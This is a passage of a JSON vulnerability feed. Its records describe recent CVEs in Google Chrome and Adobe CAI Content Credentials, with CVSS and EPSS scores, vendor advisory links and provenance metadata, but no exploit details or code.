CVE-2026-110144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110140","cveId":"CVE-2026-110140","aliases":[],"kind":"vulnerability","title":"Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Type confusion in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:33.777Z","updatedAt":"2026-10-15T04:18:17.610Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110140","asOf":"2026-10-15T04:18:17.610Z"},"epss":{"probability":0.00317,"percentile":0.24402,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110140&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110140","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110140","type":"primary","publishedAt":"2026-10-13T22:17:33.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110140&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110140, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110139","cveId":"CVE-2026-110139","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:33.667Z","updatedAt":"2026-10-14T17:57:11.400Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110139","asOf":"2026-10-14T17:57:11.400Z"},"epss":{"probability":0.00291,"percentile":0.21431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110139","type":"primary","publishedAt":"2026-10-13T22:17:33.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110138","cveId":"CVE-2026-110138","aliases":[],"kind":"vulnerability","title":"Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the...","summary":"Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in ShapeDetection in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:33.560Z","updatedAt":"2026-10-15T04:18:17.427Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110138","asOf":"2026-10-15T04:18:17.427Z"},"epss":{"probability":0.00284,"percentile":0.20753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110138","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110138","type":"primary","publishedAt":"2026-10-13T22:17:33.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110137","cveId":"CVE-2026-110137","aliases":[],"kind":"vulnerability","title":"Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in WebRTC in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:33.447Z","updatedAt":"2026-10-15T04:18:17.233Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110137","asOf":"2026-10-15T04:18:17.233Z"},"epss":{"probability":0.00368,"percentile":0.30379,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110137","type":"primary","publishedAt":"2026-10-13T22:17:33.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110137, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106627","cveId":"CVE-2026-106627","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.","summary":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:30.627Z","updatedAt":"2026-10-14T18:55:41.343Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106627","asOf":"2026-10-14T18:55:41.343Z"},"epss":{"probability":0.00675,"percentile":0.51916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106627","type":"primary","publishedAt":"2026-10-13T22:17:30.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105902","cveId":"CVE-2026-105902","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.","summary":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:30.507Z","updatedAt":"2026-10-14T18:57:03.477Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105902","asOf":"2026-10-14T18:57:03.477Z"},"epss":{"probability":0.00541,"percentile":0.45232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105902&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105902","type":"primary","publishedAt":"2026-10-13T22:17:30.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105902&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105902, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104345","cveId":"CVE-2026-104345","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:26.307Z","updatedAt":"2026-10-14T19:17:08.500Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104345","asOf":"2026-10-14T19:17:08.500Z"},"epss":{"probability":0.00494,"percentile":0.4212,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104345&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104345","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104345","type":"primary","publishedAt":"2026-10-13T22:17:26.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104345&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104345, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103297","cveId":"CVE-2026-103297","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:24.057Z","updatedAt":"2026-10-14T19:17:06.490Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103297","asOf":"2026-10-14T19:17:06.490Z"},"epss":{"probability":0.00456,"percentile":0.39286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103297","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103297","type":"primary","publishedAt":"2026-10-13T22:17:24.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103296","cveId":"CVE-2026-103296","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass.","summary":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:23.940Z","updatedAt":"2026-10-14T18:55:35.830Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103296","asOf":"2026-10-14T18:55:35.830Z"},"epss":{"probability":0.00456,"percentile":0.39286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103296","type":"primary","publishedAt":"2026-10-13T22:17:23.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100139","cveId":"CVE-2026-100139","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.","summary":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:12.387Z","updatedAt":"2026-10-14T18:57:57.650Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100139","asOf":"2026-10-14T18:57:57.650Z"},"epss":{"probability":0.00541,"percentile":0.45232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100139","type":"primary","publishedAt":"2026-10-13T22:17:12.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100138","cveId":"CVE-2026-100138","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.","summary":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:12.267Z","updatedAt":"2026-10-14T18:58:04.167Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100138","asOf":"2026-10-14T18:58:04.167Z"},"epss":{"probability":0.00675,"percentile":0.51917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 